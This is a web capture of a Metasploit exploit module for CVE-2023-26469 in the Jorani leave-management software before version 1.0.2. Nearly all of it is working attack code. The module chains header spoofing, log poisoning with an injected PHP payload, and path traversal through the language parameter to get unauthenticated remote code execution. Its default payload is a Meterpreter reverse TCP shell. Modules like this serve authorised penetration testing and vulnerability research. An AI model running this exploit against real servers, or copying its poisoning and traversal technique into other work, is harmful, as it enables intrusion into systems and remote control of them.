Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/php/jorani_path_trav.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9prepend Msf::Exploit::Remote::AutoCheck1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'Jorani unauthenticated Remote Code Execution',16'Description' => %q{17This module exploits an unauthenticated Remote Code Execution in Jorani prior to 1.0.2.18It abuses 3 vulnerabilities: log poisoning and redirection bypass via header spoofing, then it uses path traversal to trigger the vulnerability.19It has been tested on Jorani 1.0.0.20},21'License' => MSF_LICENSE,22'Author' => [23'RIOUX Guilhem (jrjgjk)'24],25'References' => [26['CVE', '2023-26469'],27['URL', 'https://github.com/Orange-Cyberdefense/CVE-repository/blob/master/PoCs/CVE_Jorani.py']28],29'Platform' => %w[php],30'Arch' => ARCH_PHP,31'Targets' => [32['Jorani < 1.0.2', {}]33],34'DefaultOptions' => {35'PAYLOAD' => 'php/meterpreter/reverse_tcp',36'RPORT' => 443,37'SSL' => true38},39'DisclosureDate' => '2023-01-06',40'Privileged' => false,41'DefaultTarget' => 0,42'Notes' => {43'Stability' => [CRASH_SAFE],44'Reliability' => [REPEATABLE_SESSION],45'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]46}47)48)4950register_options(51[52OptString.new('TARGETURI', [true, 'The base path of Jorani', '/'])53]54)55end5657def get_version(res)58footer_text = res.get_html_document.xpath('//div[contains(@id, "footer")]').text59matches = footer_text.scan(/v([0-9.]+)/i)60if matches.nil? || matches[0].nil?61print_error('Cannot recovered Jorani version...')62return nil63end64matches[0][0]65end6667def service_running(res)68matches = res.get_html_document.xpath('//head/meta[@description]/@description').text.downcase.scan(/leave management system/)69if matches.nil?70print_error("Jorani doesn't appear to be running on the target")71return false72end73true74end7576def recover_csrf(res)77csrf_token = res.get_html_document.xpath('//input[@name="csrf_test_jorani"]/@value').text78return csrf_token if csrf_token.length == 327980nil81end8283def check84# For the check command85print_status('Checking Jorani version')86uri = normalize_uri(target_uri.path, 'index.php')8788res = send_request_cgi(89'method' => 'GET',90'uri' => "#{uri}/session/login"91)9293if res.nil?94return Exploit::CheckCode::Safe('There was a problem accessing the login page')95end9697return Exploit::CheckCode::Safe unless service_running(res)9899print_good('Jorani seems to be running on the target!')100101current_version = get_version(res)102return Exploit::CheckCode::Detected if current_version.nil?103104print_good("Found version: #{current_version}")105current_version = Rex::Version.new(current_version)106107return Exploit::CheckCode::Appears if current_version < Rex::Version.new('1.0.2')108109Exploit::CheckCode::Safe110end111112def exploit113# Main function114print_status('Trying to exploit LFI')115116path_trav_payload = '../../application/logs'117header_name = Rex::Text.rand_text_alpha_upper(16)118poison_payload = "<?php if(isset($_SERVER['HTTP_#{header_name}'])){ #{payload.encoded} } ?>"119log_file_name = "log-#{Time.now.strftime('%Y-%m-%d')}"120121uri = normalize_uri(target_uri.path, 'index.php')122123res = send_request_cgi(124'method' => 'GET',125'keep_cookies' => true,126'uri' => "#{uri}/session/login"127)128129if res.nil?130print_error('There was a problem accessing the login page')131return132end133134print_status('Recovering CSRF token')135csrf_tok = recover_csrf(res)136if csrf_tok.nil?137print_status('CSRF not found, doesn\'t mean its not vulnerable')138else139print_good("CSRF found: #{csrf_tok}")140end141print_status('Poisoning log with payload..')142print_status('Sending 1st payload')143144send_request_cgi(145'method' => 'POST',146'keep_cookies' => true,147'uri' => "#{uri}/session/login",148'data' => "csrf_test_jorani=#{csrf_tok}&" \149'last_page=session/login&' \150"language=#{path_trav_payload}&" \151"login=#{Rex::Text.uri_encode(poison_payload)}&" \152"CipheredValue=#{Rex::Text.rand_text_alpha(14)}"153)154155print_status("Including poisoned log file #{log_file_name}.php")156vprint_warning('The date on the attacker and victim machine must be the same for the exploit to be successful due to the timestamp on the poisoned log file. Be careful running this exploit around midnight across timezones.')157print_good('Triggering payload')158159send_request_cgi(160'method' => 'GET',161'keep_cookies' => true,162'uri' => "#{uri}/pages/view/#{log_file_name}",163'headers' =>164{165'X-REQUESTED-WITH' => 'XMLHttpRequest',166header_name => Rex::Text.rand_text_alpha(14)167}168)169170nil171end172end173174175